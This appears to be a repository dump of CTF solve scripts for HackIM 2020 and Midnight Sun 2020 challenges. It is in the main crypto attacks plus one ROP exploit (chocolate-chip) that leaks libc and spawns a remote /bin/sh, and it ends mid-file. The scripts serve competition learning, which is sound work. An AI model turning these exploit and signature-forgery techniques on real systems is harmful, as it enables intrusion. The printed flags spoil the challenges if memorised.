| for roundkey in data: 56 | for _ in range(round): 57 | temp = bytearray(16) 58 | for i in range(len(state)): 59 | temp[i] = state[perm[i]] 60 | state = temp 61 | for i in range(len(state)): 62 | state[i] = sbox.index(state[i]) 63 | state = repeated_xor(state, roundkey) 64 | return hex(bytes_to_int(state))[2:] 65 | 66 | 67 | HOST, PORT = 'crypto1.ctf.nullcon.net', 5000 68 | rps = [b'r', b'p', b's'] 69 | 70 | p = pwn.remote(HOST, PORT) 71 | pwn.context.log_level = 'debug' 72 | 73 | for i in range(20): 74 | p.recvuntil('the first one is my move: ') 75 | commits = p.recvline(keepends=False).decode().split() 76 | 77 | hs = list(map(lambda x: bytes.fromhex(x.rjust(32, '0')), commits)) 78 | 79 | states = [[] for _ in range(3)] 80 | for i in range(3): 81 | h = hs[i] 82 | for m in rps: 83 | states[i].append(inv_hash(h, m)) 84 | 85 | rstate = list(set(states[0]) & set(states[1]) & set(states[2]))[0] 86 | 87 | move = states[0].index(rstate) 88 | 89 | p.recvuntil('Your move:') 90 | p.sendline(rps[(move + 1) % 3]) 91 | 92 | p.recvuntil('Your reward is ') 93 | flag = p.recvline(keepends=False).decode() 94 | 95 | pwn.context.log_level = 'info' 96 | p.close() 97 | 98 | pwn.log.info(flag) 99 | 100 | # hackim20{b4d_pr1mitiv3_beats_all!1!_7f65} 101 | -------------------------------------------------------------------------------- /2020-HackIM/ayyMessage/message.txt: -------------------------------------------------------------------------------- 1 | {"aeskey": "nwmHkXTN/EjnoO5IzhpNwE3nXEUMHsNWFI7dcHnpxIIiXCO+dLCjR6TfqYfbL9Z6a7SNCKbeTFBLnipXcRoN6o56urZMWwCioVTsV7PHrlCU42cKX+c/ShcVFrA5aOTTjaO9rxTMxB1PxJqYyxlpNaUpRFslzj9LKH+g8hVEuP9lVMm7q4aniyOUgPrAxyn044mbuxPu6Kh+JHSt5dkmnPZGNfUDKCwvMKeilb5ZkLaW/EaoXXsJLh/wUinMROIqmD2dkiWnk10633sJIu1lEOUsiykYXtJcd3o/B2dfTx2/85C2J6IsIp3+jJne76AYryAONPSxuh+M0h1xCzNeQg==", "message": "6VCnnSOU1DBImyhlqt7SoEjRtmBxjmABFVmXYhlKDyc+NBlnZ3Hpj4EkLwydPGpHiAvr4R0zTXSyUnMk5N6fi0/BFZE=", "nonce": "Cems9uHF6mk=", "signature": "uhLCnBvGfdC1fVkGUKQ8zNp/fOXNnFxNuDEc7CDGEYSxnuZMoGqbEqMLguJqDdvHFSHoUrq2R9/+mfk8LHndhw==", "eccpubkey": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEGww+NA3xHj4kCyztekLhmJVB62Hhq/oGDWwo4fxgZCgbODqD3vrMFFTGCWfO8ZyHtstuW+Yztpq94CnSNpJoug=="} -------------------------------------------------------------------------------- /2020-HackIM/ayyMessage/rsapubkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4qzhtJX+An8OXiZ3o3WA 3 | UAdaXh4zD5iavZSdBoXtWGFZ1i+rpfW32jVw9dWKLKg8qMPixJeDvarDmjetEw2U 4 | SBwQAdUvEap4QxCVgMoIVA6P1wk0sRTTVmRcV7lJX6B08wbBiVKVVB8MWRfEDV+q 5 | 4QtRBymYFBxCJC/RV1UbOUPG1KFMRtJap4PTCjkCSwScrwuci+uR3bMTFWNGm6rc 6 | fIeHkTDNC2x/YetR5X+G0Az4cKEIQn3GaWTnlauXUPzUckVyW0Bey9n2+muW6z4x 7 | 130+4JuFiNjEsH33VzZfTK/F75om9+TTrHhTZnchcsw9DQf0LFee9/FCNcxxZYA1 8 | nwIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /2020-HackIM/ayyMessage/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.PublicKey import RSA, ECC 3 | import json 4 | from hashlib import sha256 5 | from Crypto.Cipher import AES, PKCS1_OAEP 6 | from base64 import b64decode 7 | from Crypto.Signature import DSS 8 | from Crypto.Hash import SHA256 9 | 10 | with open('rsakey.pem','r') as f: 11 | rsakey = RSA.import_key(f.read()) 12 | 13 | 14 | rsacipher = PKCS1_OAEP.new(rsakey) 15 | 16 | def verify_message(message): 17 | eccpubkey = ECC.import_key(message["eccpubkey"]) 18 | h = SHA256.new(message["aeskey"] + message["nonce"] + message["message"]) 19 | verifier = DSS.new(eccpubkey, 'fips-186-3') 20 | 21 | try: 22 | verifier.verify(h, message["signature"]) 23 | return True 24 | except ValueError: 25 | return False 26 | 27 | 28 | def decrypt_message(message): 29 | aeskey = rsacipher.decrypt(message["aeskey"]) 30 | ctr = AES.new(aeskey, AES.MODE_CTR, nonce=message["nonce"]) 31 | return ctr.decrypt(message["message"]) 32 | 33 | def main(): 34 | message = input("Enter message in json format: ") 35 | message = json.loads(message) 36 | 37 | message["nonce"] = b64decode(message["nonce"]) 38 | message["message"] = b64decode(message["message"]) 39 | message["aeskey"] = b64decode(message["aeskey"]) 40 | message["signature"] = b64decode(message["signature"]) 41 | message["eccpubkey"] = b64decode(message["eccpubkey"]) 42 | 43 | if not verify_message(message): 44 | print("this message has been tampered with") 45 | exit(0) 46 | 47 | m = decrypt_message(message) 48 | hm = sha256(m).hexdigest() 49 | print("Here is your read receipt:") 50 | print(hm) 51 | 52 | 53 | 54 | if __name__ == '__main__': 55 | main() -------------------------------------------------------------------------------- /2020-HackIM/ayyMessage/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from Crypto.Hash import SHA256 3 | from Crypto.PublicKey import ECC 4 | from Crypto.Signature import DSS 5 | from base64 import b64decode, b64encode 6 | from string import printable 7 | import copy 8 | import json 9 | import pwn 10 | 11 | 12 | HOST, PORT = 'crypto1.ctf.nullcon.net', 5001 13 | 14 | 15 | def sign_message(message): 16 | eccpubkey = ECC.import_key(message['eccpubkey']) 17 | h = SHA256.new(message['aeskey'] + message['nonce'] + message['message']) 18 | signer = DSS.new(eccpubkey, 'fips-186-3') 19 | 20 | return signer.sign(h) 21 | 22 | 23 | printable = printable.strip() 24 | 25 | with open('./message.txt', 'r') as f: 26 | message = f.read() 27 | 28 | message = json.loads(message) 29 | 30 | message['nonce'] = b64decode(message['nonce']) 31 | message['message'] = b64decode(message['message']) 32 | message['aeskey'] = b64decode(message['aeskey']) 33 | message['signature'] = b64decode(message['signature']) 34 | message['eccpubkey'] = b64decode(message['eccpubkey']) 35 | 36 | eccpubkey = ECC.import_key(message['eccpubkey']) 37 | eccprivkey = ECC.generate(curve=eccpubkey.curve) 38 | 39 | flag = b'' 40 | 41 | pwn.context.log_level = 'debug' 42 | 43 | for i in range(len(message['message'])): 44 | query = copy.deepcopy(message) 45 | 46 | query['eccpubkey'] = eccprivkey.export_key(format='PEM').encode() 47 | query['message'] = message['message'][:i+1] 48 | query['signature'] = sign_message(query) 49 | 50 | query['nonce'] = b64encode(query['nonce']).decode() 51 | query['message'] = b64encode(query['message']).decode() 52 | query['aeskey'] = b64encode(query['aeskey']).decode() 53 | query['signature'] = b64encode(query['signature']).decode() 54 | query['eccpubkey'] = b64encode(query['eccpubkey']).decode() 55 | 56 | p = pwn.remote(HOST, PORT) 57 | 58 | p.recvuntil('Enter message in json format: ') 59 | p.sendline(json.dumps(query)) 60 | 61 | p.recvuntil('Here is your read receipt:\n') 62 | hm = p.recvline(keepends=False).decode() 63 | 64 | p.close() 65 | 66 | for ch in printable: 67 | ch = ch.encode() 68 | if hm == SHA256.new(flag + ch).hexdigest(): 69 | flag += ch 70 | continue 71 | 72 | flag = flag.decode() 73 | 74 | pwn.log.info(flag) 75 | 76 | # hackim20{digital_singatures_does_not_always_imply_authenticitaaayyy} 77 | -------------------------------------------------------------------------------- /2020-HackIM/chocolate-chip/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/chocolate-chip/libc.so.6 -------------------------------------------------------------------------------- /2020-HackIM/chocolate-chip/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/chocolate-chip/main -------------------------------------------------------------------------------- /2020-HackIM/chocolate-chip/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import pwn 3 | import z3 4 | 5 | 6 | HOST, PORT = 'pwn3.ctf.nullcon.net', 1234 7 | 8 | libc = pwn.ELF('./libc.so.6') 9 | 10 | p = pwn.remote(HOST, PORT) 11 | pwn.context.log_level = 'debug' 12 | 13 | p.recvuntil('I think I dropped something yummy! sssh') 14 | 15 | chips = [0] * 10 16 | for i in range(10): 17 | chips[i // 5 + 2 * (i % 5)] = int(p.recvline(keepends=False)) 18 | 19 | p.recvuntil('hello\n') 20 | 21 | cookie = chip = z3.BitVec('cookie', 64) 22 | s = z3.Solver() 23 | 24 | for i in range(10): 25 | chip = 0x5DEECE66D * chip + 11 26 | s.add((chip >> 16) & 0xFFFFFFFF == chips[i]) 27 | 28 | pwn.log.info(s.check()) 29 | 30 | cookie = s.model()[cookie].as_long() ^ 0x5DEECE66D 31 | pwn.log.info('COOKIE: {:016X}'.format(cookie)) 32 | 33 | write_plt = 0x400660 34 | read_plt = 0x400690 35 | pop_rsi_pop_ret = 0x400AB1 36 | pop_rdi_ret = 0x400AB3 37 | ret = 0x400AB4 38 | write_got = 0x601020 39 | bss = 0x6010A0 40 | 41 | payload = b'A' * 0x14 42 | payload += pwn.p64(cookie) 43 | payload = payload.ljust(0x48, b'\x00') 44 | payload += pwn.p64(pop_rdi_ret) 45 | payload += pwn.p64(1) 46 | payload += pwn.p64(pop_rsi_pop_ret) 47 | payload += pwn.p64(write_got) 48 | payload += b'A' * 8 49 | payload += pwn.p64(write_plt) 50 | payload += pwn.p64(pop_rdi_ret) 51 | payload += pwn.p64(0) 52 | payload += pwn.p64(pop_rsi_pop_ret) 53 | payload += pwn.p64(write_got) 54 | payload += b'A' * 8 55 | payload += pwn.p64(read_plt) 56 | payload += pwn.p64(pop_rdi_ret) 57 | payload += pwn.p64(0) 58 | payload += pwn.p64(pop_rsi_pop_ret) 59 | payload += pwn.p64(bss) 60 | payload += b'A' * 8 61 | payload += pwn.p64(read_plt) 62 | payload += pwn.p64(pop_rdi_ret) 63 | payload += pwn.p64(bss) 64 | payload += pwn.p64(ret) 65 | payload += pwn.p64(write_plt) 66 | payload = payload.ljust(0x1F4, b'\x00') 67 | 68 | p.send(payload) 69 | 70 | write_libc = pwn.u64(p.recvn(8)) 71 | libc_base = write_libc - libc.symbols[b'write'] 72 | 73 | pwn.log.info('libc.so.6: 0x{:012X}'.format(libc_base)) 74 | 75 | system_libc = libc_base + libc.symbols[b'system'] 76 | 77 | p.send(pwn.p64(system_libc)) 78 | p.send(b'/bin/sh\x00') 79 | 80 | pwn.context.log_level = 'info' 81 | p.interactive() 82 | 83 | # hackim20{h3r3s_4_g1ft_fr0m_m1ster_k1pl1ng} 84 | -------------------------------------------------------------------------------- /2020-HackIM/returminator/blob: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/returminator/blob -------------------------------------------------------------------------------- /2020-HackIM/returminator/deploy.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | o = [296, 272, 272, 272, 296, 360, 272, 424, 272, 208, 120, 120, 120, 96, 120, 120, 120, 120, 120, 120, 120, 208, 120, 120, 208, 208, 208, 208, 208, 272, 120, 208, 208] 4 | r = [208, 225, 237, 20, 214, 183, 79, 105, 207, 217, 125, 66, 123, 104, 97, 99, 107 , 105, 109, 50, 48, 202, 111, 111, 29, 63, 223, 36, 0, 124, 100, 219, 32] 5 | 6 | cmd = ['./main'] 7 | rets = [] 8 | 9 | with open('blob', 'rb') as f: 10 | for offset in o: 11 | data = f.read(offset) 12 | p = subprocess.Popen(cmd, stdin=subprocess.PIPE) 13 | p.stdin.write(data) 14 | p.communicate() 15 | rets.append(p.returncode) 16 | 17 | if all([rets[i] == r[i] for i in range(len(r))]): 18 | print('Yes!') 19 | else: 20 | print('No!') 21 | -------------------------------------------------------------------------------- /2020-HackIM/returminator/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-HackIM/returminator/main -------------------------------------------------------------------------------- /2020-HackIM/returminator/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import pwn 3 | import z3 4 | 5 | 6 | class ROP(object): 7 | def __init__(self, payload, stack_size=7): 8 | self.payload = payload 9 | for i in range(stack_size): 10 | self.pop() 11 | 12 | def pop(self): 13 | data = pwn.u64(self.payload[:8]) 14 | self.payload = self.payload[8:] 15 | return data 16 | 17 | def rop(self): 18 | while len(self.payload) != 0: 19 | ret_addr = self.pop() 20 | 21 | if ret_addr == 0x40119A: 22 | self.rdi = self.pop() 23 | elif ret_addr == 0x40119C: 24 | self.rsi = self.pop() 25 | elif ret_addr == 0x40119E: 26 | self.rdx = self.pop() 27 | elif ret_addr == 0x4011A0: 28 | self.rcx = self.pop() 29 | elif ret_addr == 0x4011A2: 30 | self.rax = self.pop() 31 | elif ret_addr == 0x4011A4: 32 | self.rax += self.rdi 33 | elif ret_addr == 0x4011A8: 34 | self.rax += self.rsi 35 | elif ret_addr == 0x4011AC: 36 | self.rax += self.rdx 37 | elif ret_addr == 0x4011B0: 38 | self.rax += self.rcx 39 | elif ret_addr == 0x4011B4: 40 | self.rax += self.rax 41 | elif ret_addr == 0x4011B8: 42 | self.rax += 1 43 | elif ret_addr == 0x4011BD: 44 | self.rax ^= self.rax 45 | elif ret_addr == 0x4011C1: 46 | self.rax -= self.rdi 47 | elif ret_addr == 0x4011C5: 48 | self.rax -= self.rsi 49 | elif ret_addr == 0x4011C9: 50 | self.rax -= self.rdx 51 | elif ret_addr == 0x4011CD: 52 | self.rax -= self.rcx 53 | elif ret_addr == 0x4011D1: 54 | self.rax -= 1 55 | elif ret_addr == 0x4011D6: 56 | assert 0x4040A0 <= self.rdi < 0x4040A0 + 0x1F 57 | self.rdi = flag[self.rdi - 0x4040A0] 58 | elif ret_addr == 0x4011DB: 59 | assert 0x4040A0 <= self.rsi < 0x4040A0 + 0x1F 60 | self.rsi = flag[self.rsi - 0x4040A0] 61 | elif ret_addr == 0x4011E0: 62 | assert 0x4040A0 <= self.rdx < 0x4040A0 + 0x1F 63 | self.rdx = flag[self.rdx - 0x4040A0] 64 | elif ret_addr == 0x4011E5: 65 | assert 0x4040A0 <= self.rcx < 0x4040A0 + 0x1F 66 | self.rcx = flag[self.rcx - 0x4040A0] 67 | elif ret_addr == 0x4011EA: 68 | self.rdi = self.rax 69 | elif ret_addr == 0x4011EE: 70 | self.rsi = self.rax 71 | elif ret_addr == 0x4011F2: 72 | self.rdx = self.rax 73 | elif ret_addr == 0x4011F6: 74 | self.rcx = self.rax 75 | elif ret_addr == 0x4011FF: 76 | return self.rdi 77 | 78 | 79 | flag = [z3.Int('flag[{}]'.format(i)) for i in range(0x1F)] 80 | 81 | 82 | o = [296, 272, 272, 272, 296, 360, 272, 424, 272, 208, 120, 120, 120, 96, 120, 120, 120, 120, 120, 120, 120, 208, 120, 120, 208, 208, 208, 208, 208, 272, 120, 208, 208] 83 | r = [208, 225, 237, 20, 214, 183, 79, 105, 207, 217, 125, 66, 123, 104, 97, 99, 107 , 105, 109, 50, 48, 202, 111, 111, 29, 63, 223, 36, 0, 124, 100, 219, 32] 84 | 85 | rets = [] 86 | 87 | with open('blob', 'rb') as f: 88 | for offset in o: 89 | data = f.read(offset) 90 | rets.append(ROP(data).rop()) 91 | 92 | s = z3.Solver() 93 | 94 | for i in range(len(r)): 95 | s.add(rets[i] == r[i]) 96 | 97 | pwn.log.info(s.check()) 98 | m = s.model() 99 | 100 | flag_str = '' 101 | 102 | for ch in flag: 103 | flag_str += chr(m[ch].as_long()) 104 | pwn.log.info(flag_str) 105 | -------------------------------------------------------------------------------- /2020-MidnightSun/Verifier/solve.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import pwn 3 | import re 4 | 5 | 6 | def egcd(a, b): 7 | if a == 0: 8 | return (b, 0, 1) 9 | else: 10 | g, y, x = egcd(b % a, a) 11 | return (g, x - (b // a) * y, y) 12 | 13 | 14 | def modinv(a, m): 15 | g, x, y = egcd(a, m) 16 | if g != 1: 17 | raise Exception('modular inverse does not exist') 18 | else: 19 | return x % m 20 | 21 | 22 | def sign(message): 23 | p.sendlineafter('\n> ', '1') 24 | p.sendlineafter('message> ', message) 25 | p.recvuntil('Signature: ') 26 | return p.recvline().decode().strip() 27 | 28 | 29 | def verify(message, sign): 30 | p.sendlineafter('\n> ', '2') 31 | p.sendlineafter('message> ', message) 32 | p.sendlineafter('signature> ', sign) 33 | result = p.recvline().decode().strip() 34 | 35 | return result == 'Signature valid' 36 | 37 | 38 | def get_flag(sign): 39 | p.sendlineafter('\n> ', '3') 40 | p.sendlineafter('signature> ', sign) 41 | return p.recvline().decode().strip() 42 | 43 | 44 | p = pwn.remote('verifier2-01.play.midnightsunctf.se', 31337) 45 | 46 | pwn.context.log_level = 'DEBUG' 47 | 48 | while True: 49 | sign1 = sign('ironore15') 50 | sign2 = sign('ironore16') 51 | r1, s1 = int(sign1[:48], 16), int(sign1[48:], 16) 52 | r2, s2 = int(sign2[:48], 16), int(sign2[48:], 16) 53 | 54 | if r1 == r2: 55 | break 56 | 57 | n = 6277101735386680763835789423176059013767194773182842284081 58 | z1 = int(hashlib.sha1(b'ironore15').hexdigest()[:48], 16) 59 | z2 = int(hashlib.sha1(b'ironore16').hexdigest()[:48], 16) 60 | z3 = int(hashlib.sha1(b'please_give_me_the_flag').hexdigest()[:48], 16) 61 | 62 | k = (((z1 - z2) % n) * modinv((s1 - s2) % n, n)) % n 63 | 64 | s3 = modinv(k, n) * (k * s1 - z1 + z3) % n 65 | 66 | sign3 = '{:048x}{:048x}'.format(r1, s3) 67 | assert verify('please_give_me_the_flag', sign3) 68 | 69 | flag = get_flag(sign3) 70 | m = re.search('midnight{\w*}', flag) 71 | flag = m.group() 72 | 73 | pwn.context.log_level = 'INFO' 74 | p.close() 75 | 76 | pwn.log.info(flag) 77 | 78 | # midnight{number_used_once_or_twice_or_more_e8595d72819c03bf07e534a9adf71e8a} 79 | -------------------------------------------------------------------------------- /2020-MidnightSun/pyBonHash/hash.txt: -------------------------------------------------------------------------------- 1 | 5ef9d8bce2063a7b528b1abdbbedb8277e0c50ec3f7ebb52ee236bfdee950e629f246105c975017b2502d07ae43e126068f6753de7d3bae23f2850e6e3ebe82604043a044d749b2980e626c3d7bb31dff57b8f613d40f1b1ef36223d37c91085ecde0f47273b57f9ec768bf09ef636342521ecf49aadd69dd60f2f8d2d4e547fe562075faa7fc6a8c802e275cf20747a6c55736058b984390134a0fbca7123497e289085f3a886058f49b1a566f9c3f43284c80ee6e90b6da99566cedb986841c02acb2270ef35e852623233697961aa026efca58a2633c6885f0f2a783b6ec869aa3d54cb57a7ccec4b40893daec35688d97835bcc762cb7c9cad8bc44076a5b3a643ef1db07add94163894e8225fb7a0e302b5f8af391cbc7babf98b7678d0c1a48f8e8c8237de59b7a5d7371d910b25f953c8d5f267faab3eae18ab50b4bea83f529ef7cf1bb31f3078d66600e70c4dedae9c83575571e2653767c901f62fb78c70df06b2bf5895a7a7a606759a3b4d78c936f3be7f1252c62baba54968d15855311dacf96dc207db31c7b60c6d3b591276afa6f2e4b9d1b18f37160bacdde40d5c1a444b04765abe1435977cca24b1a0ed5e897b2b39300bb8c8c2ab5b4ae58deba06beb261775eb248c483ca30cd57cee26a41ce586092648c7c3280f578569d76aebb4aba97e66e68b2dd512fa31c09c7551a5cbebd36bf67fc1572b800104fae06fd9b0e9c5e407691c90a22db10f77f28d57ddee91c8aae8a1cf3fc5b112fe07058e2589a81233aa19838f492fca289a0e877371666f8fa3506085809427b44ace49d73d0a8ea350e132474998562667f9eb3cc2ba906d7ae034309de45a6bf6a91b34f9b19e6a3b702a54ff1b0c557f3e7861dcae0e1799743065aabb4011dad3ddd5b247500ed051568bc915249515f2a4330cd1f6a414ccc080726010ad250b81540f8dfd309e0a341a1fdb330d6f0815ca8e4baf67bfd845e24c59a14e30f93cd08d8d4252803ce68666f909d80a5d166d7e8f65ee41d836ce4d932f77d55078604b2c5878d198325f039aa00d3f5ee37b032b44a341833358306e3a3def32329fab03318e183d9adb32709229f2449f5767ffaeebdf9163e29ad26866bab424a1f598e92cce0e33fd53018cff693813890735e6c6758db6670823c8e014583d89b128bf33fe10178b8b776a919aeb69d1e31925ea3b67897e69acfb29f13f033636c436f5a5e491a78426e1bb6efeaf91f47c136c2995641be76b5b200855c3baed4be3603aa661b689dac462726618891f597e4cab5d5cb1eb65edfeb119ec73882f96e68abdba715c824822cb54bd5af334f2799d4b2b91a140f64e2a1bf6f9a897f6f44a96920a791c9eec814ec629158782e8ded48ca677bd758a61481b47bf8eac47f532b4c9f776c07f3aea105ec07afb8d30de19875eea73ac8aab1169c4ce9f7709cbc5576fe930184c153aa01f3945c5e2a43bb7ad1222fe0a0f89793f266a4497a373969017f73063ffa772b168c9d41fe09e282a14bfcb34b8d43c3818c33c87173b4894934e212c38dfb15649dc34cd7be63c5e028fae0cb35d85ec7b935a7bc6ba1c75383e516154642499461931a64184966a8e5a1e863f26b1f11af7735c265b50573730c7e1100a8dc63ab0bd1a5386bcc47f2a47cd84256a81185d14591e9068cee124d0c0746c52b4e449e1bdd842bc2f5aa1615562ac27355240873af12b96fb30e2402db03ef5bd405d3ae903493e068263208c6b5b02cc8f002b825b819cce41fed1c63dfc2602402dd49d4e8d19bfa078708962e272dfd617533d7308918c41c4f6ecac55c928ba727093cb562bb373640568a1b5a346c76b0f11defbefacb04447f8ccc3bbce349400dfba800c726a6c4a571774c1bc750abd231ffb958596f568d8e284091a2d4c2ae8f8154dfe90e5669dfb1c2c79714d78fb11ffb7055f0c0ace21c11e83b2567363ca9c87be9104732d65ba1bee7c8c397af1dc13447c199339a74592032da29b44c771c8273a88371a68da58dc546885900c9755ba98a026aea426751e618f79e11b0c4d6216c8ec400433e07c3e9caad8c0162557d1c3d9599728bbad4a07b450d36d399aa16cfb3ae2cdba9c9c404a8a18d33c54ea58941aff98a7acce76169ba2824e7ac4d0875569bbed307f8dc1725b120adaec2eb9828f2cc72fabc77f13a334444c9cae5169389e3512f461195ec970cf74c3d8b144c4afe4bdf00a5540ca6af9a8af0457449fb8b6ab630de8c787bab6719bcf50c79d444bf414d3e93510ba488b40e5ea4a5f95810949cf9307a63c8e97a927c4c8956156d301c8891b5c64c962cf8736efdebc6bcf483dd148a6b85623b46f72c54219d14f7a281f6d24713199c5341492799861275d57f58209752bdeaee713ca94b9d4a6508e159a3b3f1f34fb27d040a206983b633d9a1b5ecfe66b7a9f6b834dd65728b29a80d03f9b7892a219349d3420fa0f79b694555ffb60710c0eaefd3eac4edbe8216a36d5ee6bb5c1bdcf5138c78ad94aeb8c00220e7632041bfd86cfe9f131a07559e4abe2166a0313b5b2599f170280da80a65aa03910f415c9aff86f0423fa0ae7b5801b002bb9e105d6300cd8afb4ae81879443bb37f74808c6ca7fbf678cc49d831c7290ef7dffb319e98f050906cc68148897a478617f1d5c18d66f19deba389722b98c0b16152975a81b662c76df625e6d6efe0fb4c2eea61c7bebf62174a49ee1288e0c87b66a988c257e91aec3d9e9a7cc377ab6d49dca15b1f28e9ce2847387afb295f3218500b0e60d48039e3b3027e9b7ba22c8a9efaf440c197843ad277e3a143ced868342c9261a3a7c5965bd05c12ede442d1193844da029e7c7a1491024c5a23304a98dfa13aec5cd2d48208f8222b171f14beab134f1d469ed51a49f075b11936042e279b4949cf9270eb98c4c2061b8ea5a439d0c05c47ceb2e428238059287a71322315e547418907a88aa0ba27b69c54b958e18c3e1c26e64313d4462474b51e050e7b7fd82fd3737271f689b56ea503909ef14822c023b5fb815eab5174d8e86348ad1db14d2c9d084649c90163d79690c65375f266ffb66e033e2af0586629dc3526643a94b75cf55e3c89d612b19b3448b03ab80bb56e004a4cdead91f4ecea587db92fdae1e0e23a1f61095a84a87f41376e878e5ba36e1d03f2f81b8e717761544efccace111c2ea9723fc176d7cec0136674666ff94a3acec1a425e7edab7a1b7f94853f045c0c36c1667e699e21214ef59177b83ad8b689aa7842742f2959cd6098fd38ba875711f5203547bd06bd948227dc9e29d5572c1a2edcce5aec00ef593517f641ef481a93b3e74e4966df0601cc459d7eb46b0f7fdb212cd9d491fda5271a7a533e2ed5a51c937655e4030e492b257ce871393199eed36c2f1caab469cca23ffeae4a55815faa14fb7364b3297176a3a1373d3fabda592027d477bdba8bd4e6ee5d2c4c3110fd6b92a8213d23b5c4dfb317350568d333c8f0eb3d381ccef172dc5b390fc3ee8444580dbab4223ef7dba81b13aa37c655b2dd6934d631ae9673add2f04550c03313a054c4a7fc23d2cdd8eac63bd666c6613015b88965fd49283aa59cff24ca4f7fba34435148dcfbc14b2ba45a99e45d5cb59a3d705df532cced04d1d680c7095bbcd77400da4275a0cda7ec2f99714c4b8415020a8b9d64f615692dc16ff522dd5e2e209cdf2d599332579f95c8f5ae651579ec6d08c67015e49b6ae49e344b714e8514cb5f973a27dd8bec0e65639b811fc12dabfe575de08a617e752405e2ac62b1389febf71aa6c9a5b09c2922880d89623c35f4ed0ccee62b61193f3d83d58126a90f4b4668d71552b98de42b5727309b16bf3700cd6a450c33d0967d19a1d247979efe83e794ff1d0b778560c9ab79d1455cbd41586b8e40bb8e103b4654ef795997ebfff51d00f6de8b080c75df00bead7ac804c719312ef0f9fa22f50b66f1131f390f89a1b01a2970219fa4dc6f8d293ac35c2f08391e447974da02e81c33e2681937eb3d0e1c79113c3c36327195fd408073c90d6edc4f27877a7de77a02ac0e1f3f8d3d81ab3f128145f296698361e5862139baaa69e3d62809fe54f8ff30ddfd11a91720b602eaeb063394bef9e973851f2a598ef901ca7fa4639125c140e60f61b6bddeffc3351c923d432334783ab1cf73a364f93261f3d2a5ee1e2eabe0da982f7440c8620d7184b3718ae7d2077b416b3f9bbdd8ff232bbb57a0e2d3944578d7bebdcb64a436fcccd1f6932f17a9beb67336435b74f95c2106114b014accbc4892672fe6ec06b44265ce1cc3c3255cb0e571e1be49bff5bd42f8910f63bc03c808bdc54d6938ef598db1d99d347ddc7f9533d6cc75f9fe0c981c9d2311c8dc8d43ae5f9cc9ecdadf3b0fd4d41b82e504c6ff68ecb1dd7aa2d1f7153d625a541d2b866db940079822b11dbff79a0555fce1cf6cd0a6f52639d3430dcf73dd4119e69a265b3992fdff987fa59503bd93bb7783d9b585819ae33855f8d5d990b7af2de04982b9618dba0738484f9fcbfc7a7eec81eb9b979d2410c7eb6d6104f64c3e2c4330c383991 2 | -------------------------------------------------------------------------------- /2020-MidnightSun/pyBonHash/pybonhash.cpython-36.py: -------------------------------------------------------------------------------- 1 | # uncompyle6 version 3.6.5 2 | # Python bytecode 3.6 (3379) 3 | # Decompiled from: Python 3.6.9 (default, Nov 7 2019, 10:44:02) 4 | # [GCC 8.3.0] 5 | # Embedded file name: pybonhash.py 6 | # Compiled at: 2020-03-28 13:11:38 7 | # Size of source mod 2**32: 1017 bytes 8 | import string, sys, hashlib, binascii 9 | from Crypto.Cipher import AES 10 | from flag import key 11 | if not len(key) == 42: 12 | raise AssertionError 13 | else: 14 | data = open(sys.argv[1], 'rb').read() 15 | assert len(data) >= 191 16 | FIBOFFSET = 4919 17 | MAXFIBSIZE = len(key) + len(data) + FIBOFFSET 18 | 19 | def fibseq(n): 20 | out = [ 21 | 0, 1] 22 | for i in range(2, n): 23 | out += [out[(i - 1)] + out[(i - 2)]] 24 | 25 | return out 26 | 27 | 28 | FIB = fibseq(MAXFIBSIZE) 29 | i = 0 30 | output = '' 31 | while i < len(data): 32 | data1 = data[(FIB[i] % len(data))] 33 | key1 = key[((i + FIB[(FIBOFFSET + i)]) % len(key))] 34 | i += 1 35 | data2 = data[(FIB[i] % len(data))] 36 | key2 = key[((i + FIB[(FIBOFFSET + i)]) % len(key))] 37 | i += 1 38 | tohash = bytes([data1, data2]) 39 | toencrypt = hashlib.md5(tohash).hexdigest() 40 | thiskey = bytes([key1, key2]) * 16 41 | cipher = AES.new(thiskey, AES.MODE_ECB) 42 | enc = cipher.encrypt(toencrypt) 43 | output += binascii.hexlify(enc).decode('ascii') 44 | 45 | print(output) -------------------------------------------------------------------------------- /2020-MidnightSun/pyBonHash/pybonhash.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-MidnightSun/pyBonHash/pybonhash.cpython-36.pyc -------------------------------------------------------------------------------- /2020-MidnightSun/pyBonHash/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from itertools import product 3 | 4 | 5 | hexdigest = b'0123456789abcedf' 6 | FIBOFFSET = 4919 7 | 8 | 9 | def fibseq(n): 10 | out = [0, 1] 11 | for i in range(2, n): 12 | out += [out[(i - 1)] + out[(i - 2)]] 13 | 14 | return out 15 | 16 | 17 | with open('hash.txt', 'r') as f: 18 | hashdata = f.read().strip() 19 | 20 | len_key = 42 21 | key = bytearray(42) 22 | 23 | FIB = fibseq(FIBOFFSET + len_key + len(hashdata) // 32) 24 | 25 | for i in range(0, len(hashdata) // 32, 2): 26 | enc = bytes.fromhex(hashdata[32*i:32*i+64]) 27 | 28 | for key1, key2 in product(range(256), repeat=2): 29 | thiskey = bytes([key1, key2]) 